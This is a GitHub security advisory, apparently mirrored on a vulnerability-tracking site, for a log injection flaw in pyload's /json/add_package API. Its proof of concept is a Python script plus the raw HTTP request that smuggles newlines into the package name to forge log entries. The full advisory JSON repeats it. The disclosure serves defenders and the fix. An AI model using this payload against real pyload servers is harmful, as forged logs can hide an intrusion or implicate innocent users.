GHSA-3WWM-HJV7-23R3

Vulnerability from github – Published: 2025-07-30 13:18 – Updated: 2025-07-30 13:18
VLAI
Summary
Pyload log Injection via API /json/add_package in add_name parameter
Details

Summary

A log injection vulnerability was identified in pyload in API /json/add_package. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by pyload.

Details

pyload will generate a log entry when creating new package using API /json/add_package. This entry will be in the form of Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.

PoC

Run pyload in the default configuration by running the following command

pyload

We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at http://localhost:8000/logs image Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.

import requests

session = requests.session()

burp0_url = "http://localhost:8000/json/add_package"
burp0_cookies = {"pyload_session_8000": "SESSION-ID-HERE"}
burp0_headers = {"sec-ch-ua-platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf", "Origin": "http://localhost:8000", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:8000/collector", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
burp0_data = "------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_name\"\r\n\r\nFake new package containing 1 links\r\n[2025-07-23 04:32:19]  PWNED               SeaWind  GET PWNED\r\n[2025-07-23 04:32:19]  INFO                pyload Added package Normal package\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_links\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_password\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_dest\"\r\n\r\n0\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\r\n"
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

The Burpsuite HTTP Request for the above code

POST /json/add_package HTTP/1.1
Host: localhost:8000
Content-Length: 799
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf
Origin: http://localhost:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8000/collector
Accept-Encoding: gzip, deflate, br
Cookie: pyload_session_8000=SESSIONS-ID-HERE
Connection: keep-alive

------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_name"

Fake new package containing 1 links
[2025-07-23 04:32:19]  HACKER               SeaWind  GET PWNED
[2025-07-23 04:32:19]  INFO               pyload Added package Normal package
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_links"

123
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_password"

123
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_file"; filename="tt"
Content-Type: application/octet-stream


------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_dest"

0
------WebKitFormBoundaryqRJM6zIUcE7ttXDf--

After executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected. image

Impact

Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev89"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-30T13:18:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`.\n### Details\n`pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package \u0027NAME_OF_PACKAGE\u0027 containing \u0027NUMBER_OF_LINKS\u0027 links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.\n\n### PoC\nRun `pyload` in the default configuration by running the following command\n```\npyload\n```\nWe can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs`\n\u003cimg width=\"1918\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37\" /\u003e\nAny attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.\n```\nimport requests\n\nsession = requests.session()\n\nburp0_url = \"http://localhost:8000/json/add_package\"\nburp0_cookies = {\"pyload_session_8000\": \"SESSION-ID-HERE\"}\nburp0_headers = {\"sec-ch-ua-platform\": \"\\\"Windows\\\"\", \"Accept-Language\": \"en-US,en;q=0.9\", \"sec-ch-ua\": \"\\\"Not)A;Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"138\\\"\", \"sec-ch-ua-mobile\": \"?0\", \"X-Requested-With\": \"XMLHttpRequest\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\", \"Accept\": \"*/*\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\", \"Origin\": \"http://localhost:8000\", \"Sec-Fetch-Site\": \"same-origin\", \"Sec-Fetch-Mode\": \"cors\", \"Sec-Fetch-Dest\": \"empty\", \"Referer\": \"http://localhost:8000/collector\", \"Accept-Encoding\": \"gzip, deflate, br\", \"Connection\": \"keep-alive\"}\nburp0_data = \"------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_name\\\"\\r\\n\\r\\nFake new package containing 1 links\\r\\n[2025-07-23 04:32:19]  PWNED               SeaWind  GET PWNED\\r\\n[2025-07-23 04:32:19]  INFO                pyload Added package Normal package\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_links\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_password\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_file\\\"; filename=\\\"tt\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_dest\\\"\\r\\n\\r\\n0\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\\r\\n\"\nsession.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)\n```\nThe Burpsuite HTTP Request for the above code\n```\nPOST /json/add_package HTTP/1.1\nHost: localhost:8000\nContent-Length: 799\nsec-ch-ua-platform: \"Windows\"\nAccept-Language: en-US,en;q=0.9\nsec-ch-ua: \"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile: ?0\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\nOrigin: http://localhost:8000\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8000/collector\nAccept-Encoding: gzip, deflate, br\nCookie: pyload_session_8000=SESSIONS-ID-HERE\nConnection: keep-alive\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_name\"\n\nFake new package containing 1 links\n[2025-07-23 04:32:19]  HACKER               SeaWind  GET PWNED\n[2025-07-23 04:32:19]  INFO               pyload Added package Normal package\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_links\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_password\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_dest\"\n\n0\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\n\n```\nAfter executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected.\n\u003cimg width=\"1920\" height=\"911\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02\" /\u003e\n\n### Impact\nForged or otherwise, corrupted log files can be used to cover an attacker\u2019s tracks or even to implicate another party in the commission of a malicious act.",
  "id": "GHSA-3wwm-hjv7-23r3",
  "modified": "2025-07-30T13:18:38Z",
  "published": "2025-07-30T13:18:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-3wwm-hjv7-23r3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/ddf8a48b83aaf36052b08732c424cffcf9ffccca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pyload log Injection via API /json/add_package in add_name parameter"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…